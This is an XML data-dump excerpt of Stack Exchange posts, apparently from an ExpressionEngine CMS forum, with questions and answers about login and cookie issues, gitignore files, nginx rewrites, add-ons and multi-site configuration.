  <row Id="570" PostTypeId="2" ParentId="568" CreationDate="2012-11-27T21:56:13.327" Score="11" Body="&lt;p&gt;Try adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; parameter. Does that fix it?&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-27T21:56:13.327" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="571" PostTypeId="2" ParentId="565" CreationDate="2012-11-27T21:57:08.430" Score="5" Body="&lt;p&gt;The dynamic IP issue was &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/changelog.html#version-2-5-0&quot;&gt;fixed in EE 2.5.0 I believe&lt;/a&gt; - but I recently ran into this issue due to the server having an incorrect time set, causing sessions to immediately expire after they were created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fix was to have my host set the correct server time.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-27T21:57:08.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="572" PostTypeId="2" ParentId="565" CreationDate="2012-11-27T21:58:05.820" Score="7" Body="&lt;p&gt;Typically I've found this to be caused by logging into the same site in multiple environments.  For example - widgetsite.com, dev.widgetsite.com, and widgetsite.dev.  The cause seems to be ExpressionEngine getting confused by the cookies from one version of the site when accessing another.  I've only found two solutions to the problem.  The first is to clear cookies as you're already doing.  The second is to use a different browser for each version to avoid cookie conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this, of course, only applies if you're referring to an environment like I'm describing.  If not then this won't help you.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2012-11-27T21:58:05.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="573" PostTypeId="2" ParentId="565" CreationDate="2012-11-27T22:01:07.840" Score="7" Body="&lt;p&gt;I think this has to do with secure forms being enabled. I've noticed that sometimes when I hit the CP my browser will load a cached version of the page. The problem though is the hidden XID form field will have an expired value so submitting the form causes the POST to be invalid and the page refreshes requiring a second login attempt. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-27T22:01:07.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="574" PostTypeId="2" ParentId="569" CreationDate="2012-11-27T22:03:22.507" Score="1" Body="&lt;p&gt;Low Variables. It does a lot more than just that of course, but the ability to save to files and to select if it's early parsed or not, is gold.&lt;/p&gt;&#xA;" OwnerUserId="222" LastEditorUserId="2539" LastEditDate="2013-12-30T12:59:36.053" LastActivityDate="2013-12-30T12:59:36.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="575" PostTypeId="2" ParentId="563" CreationDate="2012-11-27T22:09:18.457" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/github/gitignore&quot; rel=&quot;nofollow&quot;&gt;github/gitignore repo&lt;/a&gt; is usually a good starting place for gitignore defaults, and I think it is in this case as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.DS_Store&#xA;&#xA;# Images&#xA;images/avatars/&#xA;images/captchas/&#xA;images/smileys/&#xA;images/member_photos/&#xA;images/signature_attachments/&#xA;images/pm_attachments/&#xA;&#xA;# Caches&#xA;sized/&#xA;thumbs/&#xA;_thumbs/&#xA;*/expressionengine/cache/*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-11-28T03:17:22.183" LastActivityDate="2012-11-28T03:17:22.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="576" PostTypeId="2" ParentId="569" CreationDate="2012-11-27T22:09:59.630" Score="6" Body="&lt;p&gt;Low Variables FTW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It combines global variables, snippets and embedding templates all into one addon that also gives you flat files for snippets and global variables. You can also easily hide some variables from the client - great for code snippets that are developer only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally low variables has many variable types including compatibility with wygwam, matrix, and other popular field types. This makes it very easy for clients to manage content that is too small for a full on channel - say telephone numbers, various one off paragraphs across the site, home page sliders etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You really can't go wrong with Low Variables.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-27T22:09:59.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="577" PostTypeId="2" ParentId="569" CreationDate="2012-11-27T22:11:49.467" Score="11" Body="&lt;p&gt;We use &lt;strong&gt;Snippet Sync&lt;/strong&gt; (&lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot;&gt;http://devot-ee.com/add-ons/snippet-sync&lt;/a&gt;) almost exclusively now for our repeatable snippets ... we also use Low Variables (as mentioned by aelvan, but not so much for 'snippets' but more for the content that the users need to edit infrequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We tend to use snippets for sections of repeatable HTML/EE code (for example we may create an address snippet, that has the HTML tags to FORMAT the Low Variables CONTENT ... then we can use that snippet in the footer, on the contact page, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that this has helped.&lt;/p&gt;&#xA;" OwnerUserId="140" LastActivityDate="2012-11-27T22:11:49.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="578" PostTypeId="2" ParentId="542" CreationDate="2012-11-27T22:12:11.050" Score="2" Body="&lt;p&gt;For nginx this is what I use in my virtual host configurations specifically for removing EE's index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  location / {&#xA;    index index.php;&#xA;    try_files $uri $uri/ @ee;&#xA;  }&#xA;&#xA;  location @ee {&#xA;    rewrite ^(.*) /index.php$1 last;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What that does is look for the files as the requested URI, with a /, then try the @ee directive instead of just going to a 404. That basically appends the not found uri to index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also include a separate configuration file for PHP which includes this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location /index.php {&#xA;  # Prevent duplicate content&#xA;  if ($request_uri ~ &quot;^/index\.php/&quot;) {&#xA;    return 404;&#xA;  }&#xA;&#xA;  #php config stuff here&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(For older versions of nginx you'll need a separate config for PHP under SSL to add &lt;code&gt;HTTPS&lt;/code&gt; manually as a server variable. Later versions have the &lt;code&gt;if_not_empty&lt;/code&gt; directive, just google it you'll see.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So nginx knows to hand off those requests to my choice of PHP, along with a whole bunch of environment stuff esp. for path_info, https, and &quot;scheme_url&quot; (so EE's &quot;site&quot; can be http or https dynamically), and the rest is all up to EE (it seems I neglected to include these, so if anyone ever needs just ask away).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details see: &lt;a href=&quot;http://wiki.nginx.org/ExpressionEngine&quot; rel=&quot;nofollow&quot;&gt;http://wiki.nginx.org/ExpressionEngine&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2013-12-27T02:20:51.590" LastActivityDate="2013-12-27T02:20:51.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="579" PostTypeId="2" ParentId="348" CreationDate="2012-11-27T22:23:50.100" Score="0" Body="&lt;p&gt;Have you considered/tried &lt;a href=&quot;http://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;PHPStringFun&lt;/a&gt; (&lt;a href=&quot;http://engaging.net/docs/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;)? With it you ought to be able to use PHP's native &lt;a href=&quot;http://php.net/manual/en/function.trim.php&quot; rel=&quot;nofollow&quot;&gt;trim&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like the below perhaps?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:phpstringfun function=&quot;trim&quot; par1=&quot;\r&quot;}&#xA;{exp:phpstringfun function=&quot;trim&quot; par1=&quot;\n&quot;}{html}{/exp:phpstringfun}&#xA;{/exp:phpstringfun}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe just one &lt;code&gt;\r\n&lt;/code&gt; would do, I dunno.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-11-27T22:23:50.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="580" PostTypeId="2" ParentId="542" CreationDate="2012-11-27T22:48:37.383" Score="3" Body="&lt;p&gt;I have a fairly extensive .htaccess template at &lt;a href=&quot;https://gist.github.com/3438705&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/3438705&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This uses the official rewrite method with a few more bells and whistles too.&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-27T22:48:37.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="581" PostTypeId="2" ParentId="569" CreationDate="2012-11-27T22:52:33.230" Score="3" Body="&lt;p&gt;I use Low Variables when the project calls for it otherwise Libraree is part of my base isntall &lt;a href=&quot;http://devot-ee.com/add-ons/libraree&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/libraree&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-27T22:52:33.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="582" PostTypeId="2" ParentId="563" CreationDate="2012-11-27T23:01:37.900" Score="3" Body="&lt;p&gt;Your paths may vary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Global Files&#xA;!.gitignore&#xA;.htaccess&#xA;.sass-cache&#xA;# .svn&#xA;.DS_Store&#xA;config.local.php&#xA;config.dev.php&#xA;[Tt]humbs.db&#xA;&#xA;# Images&#xA;src/www/public_html/assets/ee_images/*&#xA;# src/www/public_html/assets/ee_images/avatars/&#xA;# src/www/public_html/assets/ee_images/captchas/&#xA;# src/www/public_html/assets/ee_images/smileys/&#xA;# src/www/public_html/assets/ee_images/member_photos/&#xA;# src/www/public_html/assets/ee_images/signature_attachments/&#xA;# src/www/public_html/assets/ee_images/pm_attachments/&#xA;&#xA;&#xA;# UGC&#xA;src/www/public_html/assets/uploads/*&#xA;&#xA;# Caches&#xA;sized/&#xA;thumbs/&#xA;_thumbs/&#xA;cache/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-27T23:01:37.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="583" PostTypeId="2" ParentId="514" CreationDate="2012-11-27T23:19:21.673" Score="2" Body="&lt;p&gt;Currently this is the default behavior of MarkerCluster v3. Using the duplicate_makers=&quot;false&quot; should work, but you tested it and said it did now, but even if it did, it's not the desired functionality anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the only way to work around this would be to write some of your own JavaScript to slightly offset each duplicate location. Given that the core add-on uses procedural JS to plot markers, it would be difficult without completely rewriting your own methods (which I have done).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even wrote some custom JS to make the infowindow content different it has more than 1 entry in the same location. This is always a possibility, but again, requires writing your own JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will definitely keep this in mind for a future release.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="28" LastEditDate="2013-02-26T14:52:25.043" LastActivityDate="2013-02-26T14:52:25.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="584" PostTypeId="2" ParentId="565" CreationDate="2012-11-27T23:43:10.320" Score="1" Body="&lt;p&gt;I've added these config overrides to my master config file and haven't had any issues logging in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Cookie Settings&#xA;$env_config['cookie_domain']            = $_SERVER['HTTP_HOST'];&#xA;$env_config['cookie_path']              = '';&#xA;$env_config['cookie_prefix']            = ENV . '_';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-27T23:43:10.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="585" PostTypeId="2" ParentId="559" CreationDate="2012-11-27T23:49:40.653" Score="0" Body="&lt;p&gt;I have not used this so can not comment on how suitable it is for your needs. &lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/router&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="57" LastEditorUserId="57" LastEditDate="2012-11-28T00:08:57.190" LastActivityDate="2012-11-28T00:08:57.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="586" PostTypeId="2" ParentId="450" CreationDate="2012-11-27T23:53:40.770" Score="3" Body="&lt;p&gt;Agreed with building your own. I built my own then modified FL's EE Master Config to suit my needs. Super flexible and it is really nice having a plug-and-play EECMS install ready to be loaded on to any server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using multiple environments then use something like Deeploy Helper to get URL's/Paths stored in the DB updated when you migrate &lt;a href=&quot;http://www.hopstudios.com/software/deeploy_helper&quot; rel=&quot;nofollow&quot;&gt;http://www.hopstudios.com/software/deeploy_helper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-27T23:53:40.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="587" PostTypeId="2" ParentId="450" CreationDate="2012-11-28T00:13:05.473" Score="3" Body="&lt;p&gt;Focus Lab's Master Config also supports MSM (&lt;a href=&quot;https://gist.github.com/d27570a3e52bdf656f54&quot; rel=&quot;nofollow&quot;&gt;with the aid of this gist&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="227" LastActivityDate="2012-11-28T00:13:05.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="588" PostTypeId="2" ParentId="97" CreationDate="2012-11-28T00:29:46.337" Score="1" Body="&lt;p&gt;After changing the email method to IMAP, and creating a new user to test from, the notifications began coming through again. Not sure what exactly broke it loose, but wondering if it was an issue with the mail server after all.&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2012-11-28T00:29:46.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="589" PostTypeId="1" AcceptedAnswerId="601" CreationDate="2012-11-28T00:37:04.460" Score="3" ViewCount="435" Body="&lt;p&gt;Sorry for the convoluted question. Let me add some clarity to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a two channels: products &amp;amp; videos. On the videos channel I have custom field for a YouTube url along with a Playa field to relate the video to a specific product(s). I also tied the same category group the products channel is using to the video channel. I have this setup for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Client can add a video to a category so this video is shown on all products pages with that category&lt;/li&gt;&#xA;&lt;li&gt;Client has the option to relate the video to a specific product(s)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I realize I could potentially just use the Playa filter to get the correct entries and do a mass dump but I thought it would be a lot easier to just use a category if the video is a general overview of a certain product category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I structure the conditional to show/hide if a video matches those options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the awesome &lt;a href=&quot;http://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;URL Helper&lt;/a&gt; addon for segment variables so I can easily do something like this on the single product page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;   category=&quot;{segment_2_category_id}&quot;&#xA;   channel=&quot;videos&quot;&#xA;   disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;   dynamic=&quot;no&quot;&#xA;}&#xA;    show video stuff&#xA;    {if no_results}no video here{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use the Playa tag &lt;code&gt;{exp:playa:total_parents}&lt;/code&gt; in a conditional. The problem is I need to check both before displaying the data&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-11-28T02:32:19.983" LastActivityDate="2012-11-28T02:53:44.187" Title="A conditional to show if a entry has a playa parent or has entry in another channel with category?" Tags="|conditionals|categories|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="590" PostTypeId="2" ParentId="450" CreationDate="2012-11-28T00:45:11.320" Score="6" Body="&lt;p&gt;Many options are available as stated in other posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add to that here is the &lt;a href=&quot;https://bitbucket.org/webunder/ee2_config_template&quot;&gt;default config.php &amp;amp; database.php file templates for ExpressionEngine&lt;/a&gt; we use.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2012-11-28T00:45:11.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="591" PostTypeId="1" AcceptedAnswerId="593" CreationDate="2012-11-28T00:49:19.750" Score="3" ViewCount="263" Body="&lt;p&gt;I am using &lt;a href=&quot;http://www.devdemon.com/updater/&quot; rel=&quot;nofollow&quot;&gt;DevDemon Updater&lt;/a&gt; for the first time, so bear with me if I am being dense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the site from v2.3 to v2.5.3 last night along with Matrix and Wygwam.&#xA;But for some reason, I noticed one of my templates is just white now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking the template over to see if &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; is getting me or what not, but it was working before the update, so I wanted to see if this has been experienced before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="5" LastEditDate="2012-11-28T02:42:56.383" LastActivityDate="2012-11-28T03:23:18.910" Title="DevDemon Updater Error or My Fault?" Tags="|templates|devdemon-updater|updating|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="592" PostTypeId="2" ParentId="387" CreationDate="2012-11-28T00:50:28.573" Score="3" Body="&lt;p&gt;+1 for &lt;a href=&quot;https://bitbucket.org/&quot; rel=&quot;nofollow&quot;&gt;Bitbucket&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://www.sourcetreeapp.com/&quot; rel=&quot;nofollow&quot;&gt;SourceTree&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2012-11-28T00:50:28.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="593" PostTypeId="2" ParentId="591" CreationDate="2012-11-28T01:02:35.453" Score="6" Body="&lt;p&gt;I don't think it is Updater or your fault. The issue is most likely that the new version of ExpressionEngine is causing an error on some older code. Turn on errors in your main index.php file and see what it gives you. It should be easy to debug from there.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2012-11-28T01:02:35.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="594" PostTypeId="1" CreationDate="2012-11-28T01:42:29.893" Score="3" ViewCount="1085" Body="&lt;p&gt;Is it possible to run a subsection of a site, a blog for instance, from a subdomain (i.e. blog.mysite.com) and manage it from the same EE Control Panel without the use of MSM?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-11-28T04:44:51.210" Title="Running subsections of a site through subdomains" Tags="|multi-site-manager|subdomain|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="595" PostTypeId="2" ParentId="569" CreationDate="2012-11-28T01:46:33.303" Score="5" Body="&lt;p&gt;I use SnippetsSync (&lt;a href=&quot;http://devot-ee.com/add-ons/snippetssync&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/snippetssync&lt;/a&gt;) to accomplish this on any site that doesn't use Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is not the same as the confusingly similarly-named Snippet Sync already mentioned above! This one is free, and is less configurable with no extension settings, but has always worked very well for what I wanted it to do.&lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="390" LastEditDate="2013-01-22T20:58:56.463" LastActivityDate="2013-01-22T20:58:56.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="596" PostTypeId="2" ParentId="591" CreationDate="2012-11-28T01:48:06.347" Score="6" Body="&lt;p&gt;This is very likely due to an add-on (or two) that needs to be updated for 2.4+ because of a change EllisLab made to the pagination class with that release. You can enable debiugging on the template to catch the name of the add-on in question, than make sure to update it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into this very issue only last week updating a site from 2.1.3 to 2.5.3. I had to update at least four add-ons because of the pagination issue. See pagination notes in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/changelog.html#version-2-4-0&quot;&gt;2.4.0 changelog&lt;/a&gt;. Cuplrits for me were a few Solspace add-ons and a Pixel &amp;amp; Tonic add-on.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2012-11-28T01:48:06.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="597" PostTypeId="2" ParentId="594" CreationDate="2012-11-28T01:50:21.217" Score="3" Body="&lt;p&gt;The old method of running multiple sites still works as of the latest EE 2 release. To use that, you need an index.php for each site and you'd use the assign_to_config values for anything site-specific. For example, I have this setup for one of my subsites (it runs in a subfolder rather than a subdomain, but principle should be the same I believe):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['template_group'] = '';&#xA;$assign_to_config['template'] = '';&#xA;$assign_to_config['site_index'] = '';&#xA;$assign_to_config['site_url'] = 'http://www.westeros.org/BoD/';&#xA;$assign_to_config['site_404'] = '';&#xA;$assign_to_config['global_vars'] = array('site' =&amp;gt; 'BoD');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I basically just set a default site url to get the right base url for that site and then I define a site variable so that I can have two or more sites sharing my &quot;News&quot; template group, for example.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2012-11-28T01:50:21.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="598" PostTypeId="2" ParentId="594" CreationDate="2012-11-28T01:50:29.143" Score="6" Body="&lt;p&gt;Yes. Copy the index.php from the main site and update the system path variable, and the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['template_group'] = 'your-template-group';&#xA;$assign_to_config['template'] = 'your-template';&#xA;$assign_to_config['site_index'] = 'http://blog.yoursite.com/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-11-28T01:50:29.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="599" PostTypeId="2" ParentId="594" CreationDate="2012-11-28T02:01:26.783" Score="4" Body="&lt;p&gt;Another option is to serve all the domains out of the same set of files. This will point the primary and subdomain at the same file set. Then all you have to do is just check the $_SERVER['SERVER_NAME'] and set the config variables based on the different subdomains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its how I setup a mobile site in EE. Only one set of files, but I just changed a few vars (including template path) and was able to serve up a totally different template set, but using the exact same content, based on the server name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($_SERVER['SERVER_NAME'] == 'm.example.com'){&#xA;    $assign_to_config['template_group'] = '';&#xA;    $assign_to_config['template'] = '';&#xA;    $assign_to_config['site_index'] = '';&#xA;    $assign_to_config['site_url'] = 'http://m.example.com/';&#xA;    $assign_to_config['site_404'] = '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="137" LastActivityDate="2012-11-28T02:01:26.783" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="600" PostTypeId="2" ParentId="559" CreationDate="2012-11-28T02:15:46.400" Score="3" Body="&lt;p&gt;If I'm understanding you right, you should be able to get it to work with the basic remove index htaccess rule. You said that you want to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;avoid creating several single-template template groups&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;if thats the case, you can just create a search template in your default template group (lets say westero) and as long as there isn't a template group named the same &quot;/search/shirts&quot; should direct to the 'westero/search' template and pass shirts as a segment_2 variable that you could search on. &lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2012-11-28T02:15:46.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="601" PostTypeId="2" ParentId="589" CreationDate="2012-11-28T02:53:44.187" Score="3" Body="&lt;p&gt;Well, I figured it out! I had to buy &lt;a href=&quot;http://devot-ee.com/add-ons/entries-number&quot; rel=&quot;nofollow&quot;&gt;Entries Number&lt;/a&gt; add-on. This allowed me to find/search if any entries were tied to a certain category and return a number. Take note of the &lt;code&gt;{segment_2_category_id}&lt;/code&gt; variable, this variable is from the URL Helper add-on I mentioned above. You could potentially use &lt;code&gt;{segment_category_ids_any}&lt;/code&gt; to do an inclusive search also–which I'm using b/c I have true nested URI's &lt;code&gt;domain.com/products/parent_cat/sub_cat/entry&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:playa:total_parents channel=&quot;videos&quot;} &amp;gt; 0 || {exp:entries_number category=&quot;{segment_2_category_id}&quot; channel=&quot;videos&quot;}{entries_number}{/exp:entries_number} &amp;gt; 0}&#xA;    has video&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm still curious to see if anyone has any other solutions. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-28T02:53:44.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="602" PostTypeId="1" AcceptedAnswerId="619" CreationDate="2012-11-28T03:16:30.713" Score="1" ViewCount="798" Body="&lt;p&gt;I want to avoid duplicate titles/descriptions on pages (P1,P2...) so I want to add Page 1, Page 2 in the page title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to know if we are on pagination and which page it is, but outside of pagination tags? Maybe Stash or something like that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="281" LastEditorUserId="16" LastEditDate="2012-11-28T08:25:17.923" LastActivityDate="2012-11-28T11:03:07.043" Title="How to get pagination page number outside of its tags?" Tags="|stash|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="603" PostTypeId="1" AcceptedAnswerId="608" CreationDate="2012-11-28T03:16:34.717" Score="-4" ViewCount="194" Body="&lt;p&gt;One of the fun and powerful aspects I love about EE is using add-ons to make the content editing and creation experience excellent. However, I've also discovered that using an excessive amount of add-ons can really slow down the performance on the front-end. (While it's nice to have a speedy control panel, I am more worried about the website visitor experience.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What add-ons have you found really slow down front-end performance?&lt;/strong&gt; &#xA;And is there anything about how these add-ons could be configured that you've found helps performance? I'm especially interested to know which of the &lt;em&gt;most common add-ons&lt;/em&gt; you've seen be performance hogs. &lt;/p&gt;&#xA;" OwnerUserId="348" LastActivityDate="2012-11-28T06:38:35.530" Title="Add-ons and front-end performance" Tags="|add-on|performance|" AnswerCount="2" CommentCount="5" ClosedDate="2012-11-28T13:27:14.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="604" PostTypeId="2" ParentId="591" CreationDate="2012-11-28T03:23:18.910" Score="1" Body="&lt;p&gt;I have had that happen before where a template just died... I deleted it and restored from a backup template and, like magic, it worked.&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2012-11-28T03:23:18.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="605" PostTypeId="1" AcceptedAnswerId="607" CreationDate="2012-11-28T03:33:15.187" Score="4" ViewCount="322" Body="&lt;p&gt;We are working on a site with 350 or so businesses. They are able to upload 5 photos and a logo to their front-end profile. It would be nice (for organization-sake) if they could upload images into their own subdirectory. &quot;/images/members/{member_name}/image.jpg&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve this? less manually creating 350 upload directories...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently using P&amp;amp;T Assets.&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-08-23T01:03:10.830" Title="Members upload photos into their own subdirectory?" Tags="|safecracker|uploads|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
